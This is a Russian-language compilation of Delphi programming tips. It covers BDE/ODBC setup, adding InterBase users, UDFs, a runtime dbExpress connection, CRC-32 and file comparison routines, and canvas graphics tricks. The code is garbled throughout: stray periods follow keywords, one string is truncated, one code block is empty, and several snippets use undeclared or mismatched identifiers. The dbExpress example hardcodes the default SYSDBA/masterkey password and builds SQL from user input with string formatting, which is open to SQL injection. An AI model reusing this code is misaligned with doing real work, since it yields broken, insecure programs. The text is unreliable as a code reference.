Добавление ODBC-драйверов в Delphi.

Минимальные требования, необходимые для установки драйвера ODBC в Delphi 3.0, заключаются в наличие следующих компонентов:

Microsoft ODBC Manger.

Windows 95 или NT.

Delphi версии Developer или Client/Server.

Поставляемый производителем драйвер ODBC (уже установленный в вашей системе).

При использовании Delphi 3.0 есть два общих метода добавления ODBC драйверов к BDE. Первым шагом при использовании любого из методов является установка постовляемого производителем драйвера ODBC в вашу систему. После этого достаточно сложного шага остальные шаги будут не такими сложными. В левой панели менеджера BDE расположен список драйверов и источников данных, которые прежде были ориентированы на использование с приложениями BDE.

Метод A:

Для начала запустите из меню Windows Start BDE Administrator (он должен располагаться в папке Delphi 3.0.).

Теперь в главном меню выберите пункт Object|ODBC administrator. (будет показан спискок установленных в настоящий момент драйверов.).

Нажмите Add, выберите ODBC драйвер, для которого вы хотели бы создать источник данных, и нажмите на OK.

Затем заполните необходимую для вашего драйвера информацию. (Минимальная конфигурация требует заполнения поля Data Source Name. Вам необходимо будет заполнить по крайней мере еще одно поле, описывающее месторасположение данных. В случае таблиц Paradox и dBase это будет поле "Path" (путь), или поле "Server" (сервер) в случае конфигурирования драйвера ODBC для Interbase ODBC. Если вы используете Interbase, вы должны указать путь к файлу .GDB, если вы пользуетесь файлами Paradox или dBASE, вы должны определить месторасположение каталога с таблицами, и, наконец, если вы используете Oracle, вы указать строку, расположенную в вашем файле TNSNAMES.ORA. После того как вы это сделаете, можно считать, что виртуальный драйвер вами создан, и вы можете получить доступ к вашим файлам с базами данных через созданный вами источник данных.).

Метод B:

Для начала запустите из меню Windows Start BDE Administrator (он должен располагаться в папке Delphi 3.0.).

Щелкните на закладке database, затем правой кнопкой мыши на левой панели.

Щелкните в контекстном меню на пункте New, выберите тип ODBC драйвера, который вы хотите добавить, и нажмите на кнопку OK.

Снова щелкните правой кнопкой на панели database, и в появившемся контекстном меню выберите Apply.

Теперь на панели definition вы должны выбрать правильный ODBC DSN (Data Source Name, имя источника данных) и нажать apply.

Оба этих метода заканчиваются способностью Delphi с помощью TDataset перехватывать живые данные.

Вы, возможно, обратили внимание на новые опции в меню Object|Options, эти опции позволяют вам выбирать для просмотра различные режимы конфигурации. Желательно в панели View в группе Select Configuration Modes включить (отметить галочками) все выключатели. При всех включенных checkbox-ах вы получите в свое распоряжение расширенный список всех драйверов и псевдонимов, доступных вам для использования. Если галочка напротив 'virtual' отсутствует, вы не сможете увидеть драйверы, добавленные через менеджер MS ODBC, а увидете драйверы, установленный только с помощью BDE (в соответствии с методом 2).

©Drkb::02683.

Взято с http://delphiworld.narod.ru.

Установка Interbase и добавление пользователя.

Автор: Denis Alexandrovich Ivanov.

Как сделать инсталятор, который прописывал бы пользователя в Interbase? BDE при этом не нужна совсем.

1. При помощи InstallShieldExpress формируется проект, который включает в себя установку Interbase Server.

2. После установки Interbase запускаешь программу, написанную на Delphi 6, которая добавляет нового пользователя Interbase.

Code: {************************************************************************ Проект : .... Автор : Иванов Д.А. Назначение : Выжимки из библиотеки функций для работы со справочником. Пользователей. Note: You must install InterBase 6 to use this feature. Дата создания: 11.13.2002. История : ************************************************************************} Unit usr; Interface. Uses IBCustomDataSet,IBDataBase,IBServices; Type. TUsrInfo = record. Usr:string ; //login. Uid:integer; //уникальный идентификатор, если программа ведет. //справочник пользователей в своей БД - его можно. //брать оттуда по секвенции. Grp:integer; //Group. Pas:string ; //password. End; TUsrClass = class(TObject). Private. { Private declarations }. Public. UsrData:TUsrInfo; DbSec :TIBSecurityService; // добавляет или редактирует пользователя в Interbase. Function UpdateUser: string; End; TUsrLib = class(TUsrClass). Private. { Private declarations }. Public. Procedure AddNewUserToInterbase; End; Var. ClUsr:TUsrLib; Implementation. Uses SysUtils,Controls,db,windows,QDialogs; (***************** Добавляет или редактирует пользователя ***************). Function TUsrClass.UpdateUser: string; //Usrid = 0 - новый пользователь. Var Edes:string; //Описание ошибок. Begin. Try. If UsrData.Usr = '' then Edes:= 'не указан login пользователя'; If UsrData.Uid = 0 then Edes:= 'не указан id пользователя'; If UsrData.Grp = 0 then Edes:= 'не. If UsrData.Pas = '' then Edes:= 'не указан пароль пользователя'; If EDes < > '' then raise Exception.Create(Edes); //Добавляем пользователя в interbase. With dbSec do begin. If not Active then Active := True; UserName := UsrData.Usr; UserID := UsrData.Uid; GroupID := UsrData.Grp; Password := UsrData.Pas; Try. DisplayUser(UserName); If UserInfo[0] = nil then AddUser else ModifyUser; Except. Edes:='Ошибка добавления пользователя в interbase security'; Raise Exception.Create(Edes); End; //раздача если нужно права доступа пользователя на таблицы. (* EDes:= GrantData(UsrData.Usr); If EDes < > '' then raise Exception.Create(Edes); *) End; Except. If EDes = '' then EDes:= 'Ошибка добавления пользователя в interbase security'; End; Result:= EDes; End; Procedure TUsrLib.AddNewUserToInterbase; Var Edes:string; //Описание ошибок. Begin. UsrData.Usr := 'ida' ; UsrData.Uid := 123 ; UsrData.Grp := 1 ; UsrData.Pas := 'pass'; EDes:= UpdateUser; If EDes < > '' then raise Exception.Create(Edes); End; Begin. ClUsr:=TUsrLib.Create; End.

Установку Interbase 6.0 я пробовал делать двумя системами создания инсталляций:

- InstallShield.

- Wise Install Builder.

Для обоих использовал готовые скрипты с сайта http://ibinstall.defined.net/. По результатам могу сказать, что Wise удобнее и проще в инсталляции. Кроме того у него есть текстовый редактор скрипта, что нашему брату шибко нравится. Установка и запуск IBGuard проходит как и в фирменном варианте сразу (Silent Install).

©Drkb::02884.

Взято с http://delphiworld.narod.ru.

Создание UDF для InterBase.

Code: Library nikelutils. Uses SysUtils, Classes; Function MaxInt(var Int1, Int2: Integer): Integer; Far cdecl export; Begin. If (Int1 > Int2) then. Result := Int1. Else. Result := Int2; End; Function MinInt(var Int1, Int2: Integer): Integer; Far cdecl export; Begin. If (Int1 < Int2) then. Result := Int1. Else. Result := Int2; End; Exports. MaxInt; MinInt; Begin. End.

А это пишим в базе:

Code:

Создание DBExpress-Connection в Run-Time.

Code: Procedure TVCLScanner.PostUser(const Email, FirstName, LastName: WideString); Var. Connection: TSQLConnection; DataSet: TSQLDataSet; Begin. Connection := TSQLConnection.Create(nil); With Connection do. Begin. ConnectionName := 'VCLScanner'; DriverName := 'INTERBASE'; LibraryName := 'dbexpint.dll'; VendorLib := 'GDS32.DLL'; GetDriverFunc := 'getSQLDriverINTERBASE'; Params.Add('User_Name=SYSDBA'); Params.Add('Password=masterkey'); Params.Add('Database=milo2:D:\frank\webservices\umlbank.gdb'); LoginPrompt := False; Open; End; DataSet := TSQLDataSet.Create(nil); With DataSet do. Begin. SQLConnection := Connection; CommandText := Format('INSERT INTO kings VALUES("%s","%s","%s")', [Email, FirstN, LastN]); Try. ExecSQL; Except. End; End; Connection.Close; DataSet.Free; Connection.Free; End;

Как вычислить CRC (контрольную сумму) для файла?

Code: Function GetCheckSum(FileName: string): DWORD; Var. F: file of DWORD; P: Pointer; Fsize: DWORD; Buffer: array [0..500] of DWORD; Begin. FileMode := 0; AssignFile(F, FileName); Reset(F); Seek(F, FileSize(F) div 2); Fsize := FileSize(F) - 1 - FilePos(F); If Fsize > 500 then Fsize := 500; BlockRead(F, Buffer, Fsize); Close(F); P := @Buffer; Asm. Xor eax, eax. Xor ecx, ecx. Mov edi , p. @again: Add eax, [edi + 4*ecx]. Inc ecx. Cmp ecx, fsize. Jl @again. Mov @result, eax. End; End; Procedure TForm1.Button1Click(Sender: TObject); Begin. ShowMessage(IntToStr(GetCheckSum('c:\Autoexec.bat'))); End;

При попытке регистрации UDF возникает ошибка - udf not defined.

Автор: Nomadic.

Располагайте DLL в каталоге Interbase/Bin, или в одном из каталогов, в которых ОС обязательно будет произведен поиск этой библиотеки (для Windows это %SystemRoot% и %Path%);

При декларировании функции не следует указывать расширение модуля (в Windows по умолчанию DLL):

Code: Declare external function f_SubStr. Cstring(254), integer, integer. Returns. Cstring(254). Entry_point "Substr" module_name "UDF1".

Переход с Oracle на Interbase.

Автор: Shawn Wu.

Я пытаюсь преобразовать мою базу данных на Oracle в базу данных local Interbase server. Все таблицы Oracle ссылаются на имя схемы. Interbase поддерживает такого типа имена схем?

Нет, Interbase не использует понятие классификатора таблицы (владельца), как это делают другие сервера, например, Oracle или Sybase. Наилучшее решение в этом случае - использование директив компиляции, позволяющее контролировать соглашение о стиле имен Oracle или Interbase, используемое в генерируемом .exe-файле.

Также, Delphi читает все атрибуты Oracle типа Number и конвертирует их в FloatField. Interbase при этом использует тип SmallIntField. Так, для преобразования необходимо пройтись по всем таблицам, удалить поля и затем снова их добавить. Можно это сделать как-то по-человечески?

Если я правильно понял то, что вы хотели сказать, то этот вопрос относится к специфике Interbase. Например, Interbase использует короткое поле (short field) с масштабированием вместо реального типа, если заданная при создании таблицы точность не превышает 10. [например, CREATE TABLE xxx (FLOATFIELD NUMERIC (5, 2)) обычно означает реальный тип с точностью 5 цифр с 2-мя цифрами после запятой. Но Interbase знает, что сможет поместить 5 цифр в короткое поле, поэтому она создаст короткое поле и запись и смасштабирует его с коэффициентом 2.] Проблема в следующем: BDE "спрашивает" Interbase о полях таблицы и их типах, Interbase честно рапортует, что поля имеют тип short, т.е. они "короткие". Но BDE ничего не знает о масштабировании.

Чтобы обойти этот неприятный момент, необходимо создать поле с точностью более 10, заставляя Interbase делать поля реального, а не короткого типа.

Могу ли я менять один тип SQL на другой, или это - несбыточная мечта?

Проблема в том, что каждый производитель создал свой диалект и реализацию SQL, который не обязательно был совместимым с SQL других производителей, особенно в рамках расширений "стандартного" SQL.

Существует ли возможность инкапсуляции общего кода для работы с базой данных от специфических реализаций конкретных версий баз, что позволило бы клиенту легко переходить от одного типа таблиц к другому?

Как я уже говорил выше: директивы компилятора.

©Drkb::02926.

Взято с http://delphiworld.narod.ru.

Как установить клиента InterBase.

1. Для Yaffil или FireBird последних билдов - ничего не надо, кроме gds32.dll в директориях поиска библиотек.

2. Для IB5, IB6 или старого FB первых билдов - надо дополнительно прописать в файле services строчку "gds_db 3050/tcp" {файл должен завершаться пустую строкой}.

3. Для IB5, дополнительно к п.2., добавить в ключ реестра:

HKLM\SOFTWARE\InterBase Corp\InterBase\CurrentVersion\RootDirectory.

Строковое значение - имя папки, в которой лежит файл ib_license.dat.

4. В случае медленного подключения клиентов в сети TCP/IP попробуйте прописать адреса IB серверов в файле HOSTS.

©Drkb::02894.

Взято с http://delphiworld.narod.ru.

В InterBase при создании базы ввести параметр для поддержки русского языка.

Code: UPDATE RDB$FIELDS. SET RDB$CHARACTER_SET_ID = 52. WHERE RDB$FIELD_NAME = 'RDB$SOURCE''

OLE и Interbase - прочесть и записать.

Автор: Rob Minte.

Code: Procedure TForm1.ReadOLE; Var. BS: TBlobStream; Begin. BS := TBlobStream.Create(Table1BLOBFIELD_BLOB, bmRead); OLEContainer1.LoadFromStream(BS); BS.Free; End; Procedure TForm1.WriteOLE; Var. BS: TBlobStream; Begin. BS := TBlobStream.Create(Table1BLOBFIELD_BLOB, bmWrite); OLEContainer1.SaveToStream(BS); BS.Free; End;

Как сравнить 2 файла?

{1.}.

Code: Function Are2FilesEqual(const File1, File2: TFileName): Boolean; Var. Ms1, ms2: TMemoryStream; Begin. Result := False; Ms1 := TMemoryStream.Create; Try. Ms1.LoadFromFile(File1); Ms2 := TMemoryStream.Create; Try. Ms2.LoadFromFile(File2); If ms1.Size = ms2.Size then. Result := CompareMem(ms1.Memory, ms2.memory, ms1.Size); Finally. Ms2.Free; End; Finally. Ms1.Free; End. End; Procedure TForm1.Button1Click(Sender: TObject); Begin. If Opendialog1.Execute then. If Opendialog2.Execute then. If Are2FilesEqual(Opendialog1.FileName, Opendialog2.FileName) then. ShowMessage('Files are equal.'); End;

©Drkb::03128.

{2.}.

Code: Function FilesAreEqual(const File1, File2: TFileName): Boolean; Const. BlockSize = 65536; Var. Fs1, fs2: TFileStream; L1, L2: Integer; B1, B2: array[1..BlockSize] of Byte; Begin. Result := False; Fs1 := TFileStream.Create(File1, fmOpenRead or fmShareDenyWrite); Try. Fs2 := TFileStream.Create(File2, fmOpenRead or fmShareDenyWrite); Try. If fs1.Size = fs2.Size then. Begin. While fs1.Position < fs1.Size do. Begin. L1 := fs1.Read(B1[1], BlockSize); L2 := fs2.Read(B2[1], BlockSize); If L1 <> L2 then. Begin. Exit; End; If not CompareMem(@B1[1], @B2[1], L1) then Exit; End; Result := True; End; Finally. Fs2.Free; End; Finally. Fs1.Free; End; End;

©Drkb::03129.

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php.

Code: Function CompareFiles(Filename1,FileName2:string):longint; { Сравнение файлов. Возвращает номер несовпадающего байта, (байты отсчитываются с 1)или: 0 - не найдено отличий, -1 - ошибка файла 1. -2 - ошибка файла 2. -3 - другие ошибки. } Const. Buf_Size=16384; Var. F1,F2:TFileStream; I:longint; Buff1,Buff2:PByteArray; BytesRead1,BytesRead2:integer; Begin. Result:=0; Try. F1:=TFileStream.Create(FileName1,fmShareDenyNone); Except. Result:=-1; Exit; End; Try. F2:=TFileStream.Create(FileName2,fmShareDenyNone); Except. Result:=-2; F1.Free; Exit; End; GetMem(Buff1,Buf_Size); GetMem(Buff2,Buf_Size); Try. If F1.Size> F2.Size then Result:=F2.Size+1. Else if F1.SizeF1.Position) and (Result=0) do begin. BytesRead1 :=F1.Read(Buff1^,Buf_Size); BytesRead2 :=F2.Read(Buff2^,Buf_Size); If (BytesRead1=BytesRead2) then begin. For i:= 0 to BytesRead1-1 do begin. If Buff1^[i]< > Buff2^[i]. Then begin. Result:=F1.Position-BytesRead1+i+1; Break; End; End; End else begin. Result:=-3; Break; End; End; End; Except. Result:=-3; End; F1.Free; F2.Free; FreeMem(Buff1,Buf_Size); FreeMem(Buff2,Buf_Size); End;

Как быстро выводить графику?

Как быстро выводить графику (a то Canvas очень медленно работает).

Вот пример заполнения формы точками случайного цвета:

Code: Type. TRGB = record. B, g, r: byte; End; ARGB = array[0..1] of TRGB; PARGB = ^ARGB; Var. B: TBitMap; Procedure TForm1.FormCreate(sender: TObject); Begin. B := TBitMap.Create; B.pixelformat := pf24bit; B.width := Clientwidth; B.height := Clientheight; End; Procedure TForm1.Tim1OnTimer(sender: TObject); Var. P: PARGB; X, y: integer; Begin. For y := 0 to b.height - 1 do. Begin. P := b.scanline[y]; For x := 0 to b.width - 1 do. Begin. P[x].r := random(256); P[x].g := random(256); P[x].b := random(256); End; End; Canvas.draw(0, 0, b); End; Procedure TForm1.FormDestroy(sender: TObject); Begin. B.free; End;

Вывод текста на канве картинки.

При использовании BitBtn Caption(текст) и картинка(bitmap) из файла не видны одновременно. Почему?

Это может происходить если картинка слишком велика. Класс TBitBtn сначала рисует картинку, а затем выводит текст над, под, слева или справа от картинки (в завивимости от свойства Layout). Если размер картинки такой же как у всей кнопки для вывода текста просто не остается места. Если Вам нужно получить кнопку такого же размера как Ваша картинка и видеть при этом надпись на кнопке Вам придется выводить текст надписи непосредственно на канву картинки.

Code: Var. Bm : TBitmap; OldBkMode : integer; Begin. Bm := TBitmap.Create; Bm.Width := BitBtn1.Glyph.Width; Bm.Height := BitBtn1.Glyph.Height; Bm.Canvas.Draw(0, 0, BitBtn1.Glyph); OldBkMode := SetBkMode(bm.Canvas.Handle, Transparent); Bm.Canvas.TextOut(0, 0, 'The Caption'); SetBkMode(bm.Canvas.Handle, OldBkMode); BitBtn1.Glyph.Assign(bm); End;

Вывести полупрозрачный текст.

Code: Procedure TForm1.FormPaint(Sender: TObject); Var. X, y: integer; Bm: TBitMap; Begin. Form1.ClientWidth := 200; Form1.ClientHeight := 100; Randomize; For x := 0 to 199 do. For y := 0 to 99 do. If random(3) = 1 then. Form1.Canvas.Pixels[x,y] := clGreen. Else. Form1.Canvas.Pixels[x,y] := clLime; Bm := TBitMap.Create; Bm.Width := 200; Bm.Height := 100; With bm.Canvas do. Begin. Brush.Color := clGreen; FillRect(ClipRect); Font.name := 'Arial'; Font.Size := 50; Font.Color := clGray; Font.Style := [fsBold]; TextOut((bm.Width - TextWidth('Text')) div 2, (bm.Height - TextHeight('Text')) div 2, 'Text'); End; Form1.Canvas.CopyMode := cmSrcPaint; Form1.Canvas.CopyRect(bm.Canvas.ClipRect, bm.Canvas, Bm.Canvas.ClipRect); Bm.Destroy; End;

Вращение объектов.

Здесь я бы хотел рассказать не о том, как работать с DelphiX, OpenGL или Direct, а о том, как можно вращать многогранники с помощью простых действий: moveto и lineto.

Здесь рассмотрим пример вращения куба. Будем рисовать на Canvase (например Listbox). Сначала нарисуем врашающийся квадрат (точнее 2 квадрата и соединим их). Пусть q - угол поворота квадрата, который мы рисуем. Очевидно, что нам надо задать координаты вершин квадрата - a:array [1..5,1..2] of integer. 1..4+1 - количество вершин квадрата (почему +1 будет объяснено позже). 1..2 - координата по X и Y. Кто учился в школе, наверное помнит, что уравнение окружности: X^2+Y^2=R^2, кто хорошо учился в школе, возможно вспомнит уравнение эллипса: (X^2)/(a^2)+ (Y^2)/(b^2)=1. Но это нам не надо. Нам понадобится уравнение эллипса в полярных координатах: x=a*sin(t); y=a*cos(t);t=0..2*PI; (учащиеся университетов и институтов ликуют).

С помощью данного уравнения мы заполняем массив с координатами.

Code: For i:=1 to 5 do. Begin. // координата по Х; q+i*pi/2 - угол поворота. // i-той вершины квадрата. A[i,1]:=trunc(80*sin(q+i*pi/2)); // координата по Y; знак минус - потому что координаты. // считаются с верхнего левого угла. A[i,1]:=trunc(-30*cos(q+i*pi/2)); End;

Вертикальный текст.

Code: Var. Hfont: Thandle; Logfont: TLogFont; Font: Thandle; Count: integer; Begin. LogFont.lfheight := 30; Logfont.lfwidth := 10; Logfont.lfweight := 900; LogFont.lfEscapement := -200; Logfont.lfcharset := 1; Logfont.lfoutprecision := out_tt_precis; Logfont.lfquality := draft_quality; Logfont.lfpitchandfamily := FF_Modern; Font := createfontindirect(logfont); Selectobject(Form1.canvas.handle, font); SetTextColor(Form1.canvas.handle, rgb(0, 0, 200)); SetBKmode(Form1.canvas.handle, transparent); {textout(form1.canvas.handle,10,10,'Повернутый',7);}. For count := 1 to 100 do. Begin. Canvas.textout(Random(form1.width), Random(form1.height), 'Повернутый'); SetTextColor(form1.canvas.handle, rgb(Random(255), Random(255), Random(255))); End; Deleteobject(font); End;

Алгоритм градиентной заливки.

Иногда бывает нужно сложить два или более цветов для получения что-то типа переходного цвета. Делается это весьма просто. Координаты получаемого цвета будут равны среднему значению соответствующих координат всех цветов.

Например, нужно сложить красный и синий. Получаем.

(255,0,0)+(0,0,255)=((255+0) div 2,(0+0) div 2,(0+255) div 2)=(127,0,127).

В результате получаем сиреневый цвет. Также надо поступать, если цветов более чем 2: сложить соответствующие координаты, потом каждую сумму разделить нацело на количество цветов.

Поговорим теперь о градиентной заливке. Градиентная заливка - это заливка цветом с плавным переходом от одного цвета к другому.

Итак, пусть заданы 2 цвета своими координатами ((A1, A2, A3) и (B1, B2, B3)) и линия (длиной h пикселов), по которой нужно залить. Тогда каждый цвет каждого пиксела, находящегося на расстоянии x пикселов от начала будет равен (A1-(A1-B1)/h*x, A2-(A2-B2)/h*x, A3-(A3-B3)/h*x). Теперь, имея линию с градиентной заливкой, можно таким образом залить совершенно любую фигуру: будь то прямоугольник, круг или просто произвольная фигура.

Вот как выглядит описанный алгоритм:

Code: {Считается, что координаты первого цвета. Равны (A1, A2, A3), а второго (B1, B2, B3). Кроме того, линия начинается в координатах. (X1,Y1), а заканчивается в (X2,Y1)}. Var. H, i: integer; Begin. H:=X2-X1-1; For i:=0 to h do. With PaintBox1.Canvas do. Begin. Pen.Color:=RGB(A1-(A1-B1)/h*i, A2-(A2-B2)/h*i, A3-(A3-B3)/h*i); Rectangle(I,Y1,I+1,Y1); End; End.

TCanvas и освобождение дескрипторов.

TCanvas автоматически ReleaseDC не вызывает. При создании холста с WindowDC в качестве дескриптора, лучшей идеей будет создание потомка TCanvas (моделированного с TControlCanvas):

Code: Type. TWindowCanvas = class(TCanvas). Private. FWinControl: TWinControl; FDeviceContext: HDC; Procedure SetWinControl(AControl: TWinControl); Protected. Procedure CreateHandle; override; Public. Destructor Destroy; override; Procedure FreeHandle; Property WinControl: TWinControl read FWinControl write SetWinControl; End; Implementation. Destructor TWindowCanvas.Destroy; Begin. FreeHandle; Inherited Destroy; End; Procedure TWindowCanvas.CreateHandle; Begin. If FControl = nil then. Inherited CreateHandle. Else. Begin. If FDeviceContext = 0 then. FDeviceContext := GetWindowDC(WinControl.Handle); Handle := FDeviceContext; End; End; Procedure TControlCanvas.FreeHandle; Begin. If FDeviceContext <> 0 then. Begin. Handle := 0; ReleaseDC(WinControl.Handle, FDeviceContext); FDeviceContext := 0; End; End; Procedure TControlCanvas.SetWinControl(AControl: TWinControl); Begin. If FWinControl <> AControl then. Begin. FreeHandle; FWinControl := AControl; End; End;

Прозрачный Bitmap.

Вам необходимо две копии вашего изображения. Маску и само изображение. Маска является ничем иным, как изображением, состоящим из двух цветов. Черного для тех областей, которые вы хотите показать, и белого для прозрачных. Для Windows 3.1 маска изображения может быть черно-белой, и предназначена для определения размеров изображения. В Win95 черно-белая маска ни при каких обстоятельствах не работает, т.к. у нее должна быть та же глубина цветов, что и у самого изображения, которое вы хотите показать.

Изображение, которое вы хотите показать, должно содержать в прозрачных областях значение цвета, равное 0. Метод помещения изображения на экран такой же, как и в DOS. Маска AND экран, изображение OR или XOR с той же областью.

Ниже приведен код Delphi, позволяя сделать вышеописанное с помощью двух TBitmap.

Code: Canvas.CopyMode := cmSrcAnd; Canvas.CopyRect(TitleRect, BMask.Canvas, TitleRect); {заполняем "пробелы" изображением}. Canvas.CopyMode := cmSrcPaint; Canvas.CopyRect(TitleRect, BTitle.Canvas, TitleRect);

Назначение палитры Bitmap.

Если вы рисуете на TImage....

Во-первых, вам нужно использовать Image1.Picture.bitmap, а не Image.Canvas. Причина кроется в том, что Image1.Picture.Bitmap имеет палитру, в Timage нет. Затем палитру необходимо назначить. Вот пример:

Code: // Устанавливаем Width и Height перед использованием. // Image1.Picture c Bitmap Canvasvar. Bitmap: TBitmap; Begin. Bitmap:=TBitmap.Create; Bitmap.LoadfromFile({'Whatever.bmp'}); With Image2.Picture.bitmap do. Begin. Width:=Bitmap.Width; Height:=Bitmap.Height; Palette:=Bitmap.Palette; Canvas.draw(0,0,bitmap); Refresh; End; End;

Как сохранить содержимое TPaintBox в BMP.

Code: Var. Bitmap: TBitmap; Source: TRect; Dest: TRect; Begin. Bitmap := TBitmap.Create; Try. With Bitmap do. Begin. Width := MyPaintBox.Width; Height := MyPaintBox.Height; Dest := Rect(0, 0, Width, Height); End; With MyPaintBox do. Source := Rect(0, 0, Width, Height); Bitmap.Canvas.CopyRect(Dest, MyPaintBox.Canvas, Source); Bitmap.SaveToFile('MYFILE.BMP'); Finally. Bitmap.Free; End; End;

Вычисление CRC-32 для файла.

Code: // The constants here are for the CRC-32 generator. // polynomial, as defined in the Microsoft. // Systems Journal, March 1995, pp. 107 - 108. Const. Table: array[0..255] of DWORD = ($00000000, $77073096, $EE0E612C, $990951BA, $076DC419, $706AF48F, $E963A535, $9E6495A3, $0EDB8832, $79DCB8A4, $E0D5E91E, $97D2D988, $09B64C2B, $7EB17CBD, $E7B82D07, $90BF1D91, $1DB71064, $6AB020F2, $F3B97148, $84BE41DE, $1ADAD47D, $6DDDE4EB, $F4D4B551, $83D385C7, $136C9856, $646BA8C0, $FD62F97A, $8A65C9EC, $14015C4F, $63066CD9, $FA0F3D63, $8D080DF5, $3B6E20C8, $4C69105E, $D56041E4, $A2677172, $3C03E4D1, $4B04D447, $D20D85FD, $A50AB56B, $35B5A8FA, $42B2986C, $DBBBC9D6, $ACBCF940, $32D86CE3, $45DF5C75, $DCD60DCF, $ABD13D59, $26D930AC, $51DE003A, $C8D75180, $BFD06116, $21B4F4B5, $56B3C423, $CFBA9599, $B8BDA50F, $2802B89E, $5F058808, $C60CD9B2, $B10BE924, $2F6F7C87, $58684C11, $C1611DAB, $B6662D3D, $76DC4190, $01DB7106, $98D220BC, $EFD5102A, $71B18589, $06B6B51F, $9FBFE4A5, $E8B8D433, $7807C9A2, $0F00F934, $9609A88E, $E10E9818, $7F6A0DBB, $086D3D2D, $91646C97, $E6635C01, $6B6B51F4, $1C6C6162, $856530D8, $F262004E, $6C0695ED, $1B01A57B, $8208F4C1, $F50FC457, $65B0D9C6, $12B7E950, $8BBEB8EA, $FCB9887C, $62DD1DDF, $15DA2D49, $8CD37CF3, $FBD44C65, $4DB26158, $3AB551CE, $A3BC0074, $D4BB30E2, $4ADFA541, $3DD895D7, $A4D1C46D, $D3D6F4FB, $4369E96A, $346ED9FC, $AD678846, $DA60B8D0, $44042D73, $33031DE5, $AA0A4C5F, $DD0D7CC9, $5005713C, $270241AA, $BE0B1010, $C90C2086, $5768B525, $206F85B3, $B966D409, $CE61E49F, $5EDEF90E, $29D9C998, $B0D09822, $C7D7A8B4, $59B33D17, $2EB40D81, $B7BD5C3B, $C0BA6CAD, $EDB88320, $9ABFB3B6, $03B6E20C, $74B1D29A, $EAD54739, $9DD277AF, $04DB2615, $73DC1683, $E3630B12, $94643B84, $0D6D6A3E, $7A6A5AA8, $E40ECF0B, $9309FF9D, $0A00AE27, $7D079EB1, $F00F9344, $8708A3D2, $1E01F268, $6906C2FE, $F762575D, $806567CB, $196C3671, $6E6B06E7, $FED41B76, $89D32BE0, $10DA7A5A, $67DD4ACC, $F9B9DF6F, $8EBEEFF9, $17B7BE43, $60B08ED5, $D6D6A3E8, $A1D1937E, $38D8C2C4, $4FDFF252, $D1BB67F1, $A6BC5767, $3FB506DD, $48B2364B, $D80D2BDA, $AF0A1B4C, $36034AF6, $41047A60, $DF60EFC3, $A867DF55, $316E8EEF, $4669BE79, $CB61B38C, $BC66831A, $256FD2A0, $5268E236, $CC0C7795, $BB0B4703, $220216B9, $5505262F, $C5BA3BBE, $B2BD0B28, $2BB45A92, $5CB36A04, $C2D7FFA7, $B5D0CF31, $2CD99E8B, $5BDEAE1D, $9B64C2B0, $EC63F226, $756AA39C, $026D930A, $9C0906A9, $EB0E363F, $72076785, $05005713, $95BF4A82, $E2B87A14, $7BB12BAE, $0CB61B38, $92D28E9B, $E5D5BE0D, $7CDCEFB7, $0BDBDF21, $86D3D2D4, $F1D4E242, $68DDB3F8, $1FDA836E, $81BE16CD, $F6B9265B, $6FB077E1, $18B74777, $88085AE6, $FF0F6A70, $66063BCA, $11010B5C, $8F659EFF, $F862AE69, $616BFFD3, $166CCF45, $A00AE278, $D70DD2EE, $4E048354, $3903B3C2, $A7672661, $D06016F7, $4969474D, $3E6E77DB, $AED16A4A, $D9D65ADC, $40DF0B66, $37D83BF0, $A9BCAE53, $DEBB9EC5, $47B2CF7F, $30B5FFE9, $BDBDF21C, $CABAC28A, $53B39330, $24B4A3A6, $BAD03605, $CDD70693, $54DE5729, $23D967BF, $B3667A2E, $C4614AB8, $5D681B02, $2A6F2B94, $B40BBE37, $C30C8EA1, $5A05DF1B, $2D02EF8D); Type. //----------------------------------crc32---------------------------------- {$IFDEF VER130} // This is a bit awkward. // 8-byte integer. TInteger8 = Int64; // Delphi 5. {$ELSE}. {$IFDEF VER120}. TInteger8 = Int64; // Delphi 4. {$ELSE}. TInteger8 = COMP; // Delphi 2 or 3. {$ENDIF}. {$ENDIF}. //----------------------------------crc32---------------------------------- // Use CalcCRC32 as a procedure so CRCValue can be passed in but. // also returned. This allows multiple calls to CalcCRC32 for. // the "same" CRC-32 calculation. Procedure CalcCRC32(p: Pointer; ByteCount: DWORD; var CRCValue: DWORD); // The following is a little cryptic (but executes very quickly). // The algorithm is as follows: // 1. exclusive-or the input byte with the low-order byte of. // the CRC register to get an INDEX. // 2. shift the CRC register eight bits to the right. // 3. exclusive-or the CRC register with the contents of Table[INDEX]. // 4. repeat steps 1 through 3 for all bytes. Var. I: DWORD; Q: ^BYTE; Begin. Q := p; For i := 0 to ByteCount - 1 do. Begin. CRCvalue := (CRCvalue shr 8) xor. Table[q^ xor (CRCvalue and $000000FF)]; Inc(q). End. End {CalcCRC32}; Function CalcStringCRC32(s: string; out CRC32: DWORD): Boolean; Var. CRC32Table: DWORD; Begin. // Verify the table used to compute the CRCs has not been modified. // Thanks to Gary Williams for this suggestion, Jan. 2003. CRC32Table := $FFFFFFFF; CalcCRC32(Addr(Table[0]), SizeOf(Table), CRC32Table); CRC32Table := not CRC32Table; If CRC32Table <> $6FCF9E13 then ShowMessage('CRC32 Table CRC32 is ' + IntToHex(Crc32Table, 8) + ', expecting $6FCF9E13'). Else. Begin. CRC32 := $FFFFFFFF; // To match PKZIP. If Length(s) > 0 // Avoid access violation in D4. Then CalcCRC32(Addr(s[1]), Length(s), CRC32); CRC32 := not CRC32; // To match PKZIP. End; End; Procedure CalcFileCRC32(FromName: string; var CRCvalue: DWORD; Var TotalBytes: TInteger8; Var error: Word); Var. Stream: TMemoryStream; Begin. Error := 0; CRCValue := $FFFFFFFF; Stream := TMemoryStream.Create; Try. Try. Stream.LoadFromFile(FromName); If Stream.Size > 0 then CalcCRC32(Stream.Memory, Stream.Size, CRCvalue). Except. On E: EReadError do. Error := 1. End; CRCvalue := not CRCvalue. Finally. Stream.Free. End; End; Procedure TForm1.Button1Click(Sender: TObject); Var. S: string; CRC32: DWORD; Begin. S := 'Test String'; If CalcStringCRC32(s, CRC32) then. ShowMessage(IntToStr(crc32)); End;

©Drkb::03972.

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php.

